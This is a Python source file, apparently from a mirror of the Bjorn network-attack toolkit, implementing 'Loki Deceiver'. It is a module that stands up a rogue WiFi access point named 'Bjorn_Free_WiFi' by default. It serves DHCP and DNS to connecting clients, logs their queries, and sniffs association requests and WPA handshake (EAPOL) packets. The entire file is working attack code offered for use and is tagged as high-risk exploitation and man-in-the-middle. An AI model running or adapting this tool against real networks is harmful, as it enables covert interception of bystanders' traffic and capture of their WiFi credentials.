mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-09 06:01:59 +00:00
- Implemented methods for fetching AI stats, training history, and recent experiences. - Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling. - Included helper methods for querying the database and sending JSON responses. - Integrated model metadata extraction for visualization purposes.
258 lines
8.8 KiB
Python
258 lines
8.8 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
"""
|
|
loki_deceiver.py -- WiFi deception tool for BJORN.
|
|
Creates rogue access points and captures authentications/handshakes.
|
|
Requires: hostapd, dnsmasq, airmon-ng.
|
|
"""
|
|
|
|
import os
|
|
import json
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
import re
|
|
import datetime
|
|
|
|
from typing import Any, Dict, List, Optional
|
|
|
|
from logger import Logger
|
|
try:
|
|
import scapy.all as scapy
|
|
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
|
HAS_SCAPY = True
|
|
try:
|
|
from scapy.all import AsyncSniffer # type: ignore
|
|
except Exception:
|
|
AsyncSniffer = None
|
|
try:
|
|
from scapy.layers.dot11 import EAPOL
|
|
except ImportError:
|
|
EAPOL = None
|
|
except ImportError:
|
|
HAS_SCAPY = False
|
|
scapy = None
|
|
Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None
|
|
AsyncSniffer = None
|
|
|
|
logger = Logger(name="loki_deceiver.py")
|
|
|
|
# -------------------- Action metadata --------------------
|
|
b_class = "LokiDeceiver"
|
|
b_module = "loki_deceiver"
|
|
b_status = "loki_deceiver"
|
|
b_port = None
|
|
b_service = "[]"
|
|
b_trigger = "on_start"
|
|
b_parent = None
|
|
b_action = "aggressive"
|
|
b_priority = 20
|
|
b_cooldown = 0
|
|
b_rate_limit = None
|
|
b_timeout = 1200
|
|
b_max_retries = 1
|
|
b_stealth_level = 2 # Very noisy (Rogue AP)
|
|
b_risk_level = "high"
|
|
b_enabled = 1
|
|
b_tags = ["wifi", "ap", "rogue", "mitm"]
|
|
b_category = "exploitation"
|
|
b_name = "Loki Deceiver"
|
|
b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM."
|
|
b_author = "Bjorn Team"
|
|
b_version = "2.0.2"
|
|
b_icon = "LokiDeceiver.png"
|
|
|
|
b_args = {
|
|
"interface": {
|
|
"type": "text",
|
|
"label": "Wireless Interface",
|
|
"default": "wlan0"
|
|
},
|
|
"ssid": {
|
|
"type": "text",
|
|
"label": "AP SSID",
|
|
"default": "Bjorn_Free_WiFi"
|
|
},
|
|
"channel": {
|
|
"type": "number",
|
|
"label": "Channel",
|
|
"min": 1,
|
|
"max": 14,
|
|
"default": 6
|
|
},
|
|
"password": {
|
|
"type": "text",
|
|
"label": "WPA2 Password (Optional)",
|
|
"default": ""
|
|
}
|
|
}
|
|
|
|
class LokiDeceiver:
|
|
def __init__(self, shared_data):
|
|
self.shared_data = shared_data
|
|
self.hostapd_proc = None
|
|
self.dnsmasq_proc = None
|
|
self.tcpdump_proc = None
|
|
self._sniffer = None
|
|
self.active_clients = set()
|
|
self.stop_event = threading.Event()
|
|
self.lock = threading.Lock()
|
|
|
|
def _setup_monitor_mode(self, iface: str):
|
|
logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...")
|
|
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True)
|
|
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True)
|
|
subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True)
|
|
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
|
|
|
def _create_configs(self, iface, ssid, channel, password):
|
|
# hostapd.conf
|
|
h_conf = [
|
|
f'interface={iface}',
|
|
'driver=nl80211',
|
|
f'ssid={ssid}',
|
|
'hw_mode=g',
|
|
f'channel={channel}',
|
|
'macaddr_acl=0',
|
|
'ignore_broadcast_ssid=0'
|
|
]
|
|
if password:
|
|
h_conf.extend([
|
|
'auth_algs=1',
|
|
'wpa=2',
|
|
f'wpa_passphrase={password}',
|
|
'wpa_key_mgmt=WPA-PSK',
|
|
'wpa_pairwise=CCMP',
|
|
'rsn_pairwise=CCMP'
|
|
])
|
|
|
|
h_path = '/tmp/bjorn_hostapd.conf'
|
|
with open(h_path, 'w') as f:
|
|
f.write('\n'.join(h_conf))
|
|
|
|
# dnsmasq.conf
|
|
d_conf = [
|
|
f'interface={iface}',
|
|
'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h',
|
|
'dhcp-option=3,192.168.1.1',
|
|
'dhcp-option=6,192.168.1.1',
|
|
'server=8.8.8.8',
|
|
'log-queries',
|
|
'log-dhcp'
|
|
]
|
|
d_path = '/tmp/bjorn_dnsmasq.conf'
|
|
with open(d_path, 'w') as f:
|
|
f.write('\n'.join(d_conf))
|
|
|
|
return h_path, d_path
|
|
|
|
def _packet_callback(self, packet):
|
|
if self.shared_data.orchestrator_should_exit:
|
|
return
|
|
|
|
if packet.haslayer(Dot11):
|
|
addr2 = packet.addr2 # Source MAC
|
|
if addr2 and addr2 not in self.active_clients:
|
|
# Association request or Auth
|
|
if packet.type == 0 and packet.subtype in [0, 11]:
|
|
with self.lock:
|
|
self.active_clients.add(addr2)
|
|
logger.success(f"LokiDeceiver: New client detected: {addr2}")
|
|
self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}")
|
|
|
|
if EAPOL and packet.haslayer(EAPOL):
|
|
logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}")
|
|
self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}")
|
|
|
|
def execute(self, ip, port, row, status_key) -> str:
|
|
iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0")
|
|
ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP")
|
|
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
|
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
|
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
|
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi")
|
|
|
|
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
|
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
|
|
|
try:
|
|
self.stop_event.clear()
|
|
# self._setup_monitor_mode(iface) # Optional depending on driver
|
|
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
|
|
|
# Set IP for interface
|
|
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True)
|
|
|
|
# Start processes
|
|
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
|
self.hostapd_proc = subprocess.Popen(
|
|
['sudo', 'hostapd', h_path],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
self.dnsmasq_proc = subprocess.Popen(
|
|
['sudo', 'dnsmasq', '-C', d_path, '-k'],
|
|
stdout=subprocess.DEVNULL,
|
|
stderr=subprocess.DEVNULL,
|
|
)
|
|
|
|
# Start sniffer (must be stoppable to avoid leaking daemon threads).
|
|
if HAS_SCAPY and scapy and AsyncSniffer:
|
|
try:
|
|
self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False)
|
|
self._sniffer.start()
|
|
except Exception as sn_e:
|
|
logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}")
|
|
self._sniffer = None
|
|
|
|
start_time = time.time()
|
|
while time.time() - start_time < timeout:
|
|
if self.shared_data.orchestrator_should_exit:
|
|
break
|
|
|
|
# Check if procs still alive
|
|
if self.hostapd_proc.poll() is not None:
|
|
logger.error("LokiDeceiver: hostapd crashed.")
|
|
break
|
|
|
|
# Progress report
|
|
elapsed = int(time.time() - start_time)
|
|
prog = int((elapsed / timeout) * 100)
|
|
self.shared_data.bjorn_progress = f"{prog}%"
|
|
|
|
if elapsed % 60 == 0:
|
|
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
|
|
|
time.sleep(2)
|
|
|
|
logger.info("LokiDeceiver: Stopping AP.")
|
|
self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP")
|
|
|
|
except Exception as e:
|
|
logger.error(f"LokiDeceiver error: {e}")
|
|
return "failed"
|
|
finally:
|
|
self.stop_event.set()
|
|
if self._sniffer is not None:
|
|
try:
|
|
self._sniffer.stop()
|
|
except Exception:
|
|
pass
|
|
self._sniffer = None
|
|
|
|
# Cleanup
|
|
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
|
if p:
|
|
try: p.terminate(); p.wait(timeout=5)
|
|
except: pass
|
|
|
|
# Restore NetworkManager if needed (custom logic based on usage)
|
|
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
|
|
|
return "success"
|
|
|
|
if __name__ == "__main__":
|
|
from init_shared import shared_data
|
|
loki = LokiDeceiver(shared_data)
|
|
loki.execute("0.0.0.0", None, {}, "loki_deceiver")
|